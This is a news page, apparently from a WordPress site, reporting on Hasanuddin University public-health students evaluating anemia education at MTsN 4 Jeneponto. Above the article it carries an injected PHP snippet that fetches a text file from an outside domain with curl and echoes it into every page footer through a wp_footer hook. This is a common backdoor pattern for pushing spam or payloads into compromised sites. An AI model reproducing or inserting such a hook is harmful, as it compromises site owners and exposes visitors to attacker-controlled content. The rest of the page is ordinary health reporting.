function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Evaluasi Intervensi Edukasi Anemia oleh Posko 20 PBL III FKM Unhas di MTsN 4 Jeneponto - Suluh Nusantara

Home / Uncategorized

Rabu, 25 Juni 2025 - 13:46 WIB

Evaluasi Intervensi Edukasi Anemia oleh Posko 20 PBL III FKM Unhas di MTsN 4 Jeneponto

Desa Kapita, 25 Juni 2025 – Pada hari Rabu, 25 Juni 2025, mahasiswa Posko 20 Program Praktik Belajar Lapangan (PBL) III dari Program Studi Kesehatan Masyarakat, Fakultas Kesehatan Masyarakat Universitas Hasanuddin, melaksanakan evaluasi intervensi edukasi anemia yang sebelumnya telah dilakukan pada PBL II di MTsN 4 Jeneponto, Desa Kapita, Kabupaten Jeneponto.

Intervensi yang dievaluasi meliputi dua pendekatan:

  1. Intervensi fisik: pemasangan poster mengenai anemia di beberapa titik strategis sekolah, yang kemudian dievaluasi dengan observasi langsung via lembar checklist dan wawancara terhadap lima siswi tentang kondisi poster dan pemahaman isi pesan.
  2. Intervensi non-fisik: ceramah interaktif dan games edukatif bagi 20 siswi remaja putri. Evaluasi dilakukan dengan pemberian post‑test ulang, menggunakan soal yang sama seperti di PBL II, untuk menilai retensi pengetahuan mereka.
Baca Juga  Waspada TBC! Mahasiswa KKN Unhas Sosialisasi Pentingnya Deteksi Dini di Desa Bungeng

Meski kegiatan berlangsung saat masa libur semester, kegiatan ini tetap berjalan lancar berkat dukungan penuh dari pihak MTsN 4 Jeneponto. Guru-guru membantu memfasilitasi pengumpulan siswi, dan partisipasi aktif siswi sangat baik menunjukkan antusiasme mereka.

Keterkaitan dengan Tujuan Pembangunan Berkelanjutan (SDGs)
Kegiatan ini mendukung pencapaian beberapa target SDGs, serupa dengan intervensi pada PBL II seperti yang dipublikasikan sebelumnya suluhnusantara.id+1suluhnusantara.id+1:

  1. SDG 3 – Good Health and Well‑being: mendukung peningkatan kesehatan remaja putri dan upaya pencegahan malnutrisi, termasuk anemia, sehingga selaras dengan target pengurangan prevalensi masalah gizi.
  2. SDG 4 – Quality Education: memberikan akses ke informasi kesehatan berkualitas melalui metode edukasi interaktif dan poster informatif, mendorong peningkatan literasi kesehatan di kalangan pelajar.
  3. SDG 5 – Gender Equality: pemberdayaan kelompok remaja putri melalui peningkatan pengetahuan tentang kesehatan reproduksi dan nutrisi, memperkuat peran mereka dalam menjaga kesehatan diri dan keluarga di masa depan.
Baca Juga  **Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Berpartisipasi dalam Pelatihan Screening Kesehatan Jiwa oleh Dinas Kesehatan Kota Makassar untuk Mendukung SDGs 3: Deteksi Dini Kesehatan Mental Siswa SMP**

Dengan evaluasi ini, Posko 20 memastikan bahwa dampak intervensi tidak hanya bersifat jangka pendek, tetapi juga berkelanjutan. Aktivitas ini menjadi bagian komprehensif dari strategi pencegahan stunting dan peningkatan kualitas kesehatan remaja putri di wilayah sasaran.

Share :

Baca Juga

Uncategorized

Dosen Departemen Ilmu Gizi FKM Unhas Hadiri 2nd Southeast Asia Public Health Nutrition Conference (SEA PHN) di Thailand dan Jajaki Kerja Sama dengan Chulalongkorn University

Uncategorized

Lingkungan Bersih, Kita Sehat: Edukasi Penanganan Sampah di UPT SDN 5 Bangkala, Desa Bontomanai, Kabupaten Jeneponto

Uncategorized

FKM UNHAS SIAP BUKA PROGRAM DOKTOR BERBASIS RISET

Uncategorized

Sadar Stunting: Edukasi Ibu Hamil untuk Mencegah Risiko Stunting Sejak Dini di Desa Tombo-Tombolo, Kecamatan Bangkala, Kabupaten Jeneponto

Uncategorized

Aksi Nyata Posko 24 PBL II FKM UNHAS: “Papan Wicara Larangan dan Bahaya Merokok dipasang di 6 Dusun Desa Bontojai”

Uncategorized

KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Ecobrick: Menata Sampah, Menyelamatkan Bumi

Uncategorized

FKM Unhas Edukasi Ibu Rumah Tangga: Pilih Wadah Plastik yang Aman untuk Keluarga

Uncategorized

Kegiatan Thematic Online Course: “Climate Change Adaptation towards Building Resilient Communities”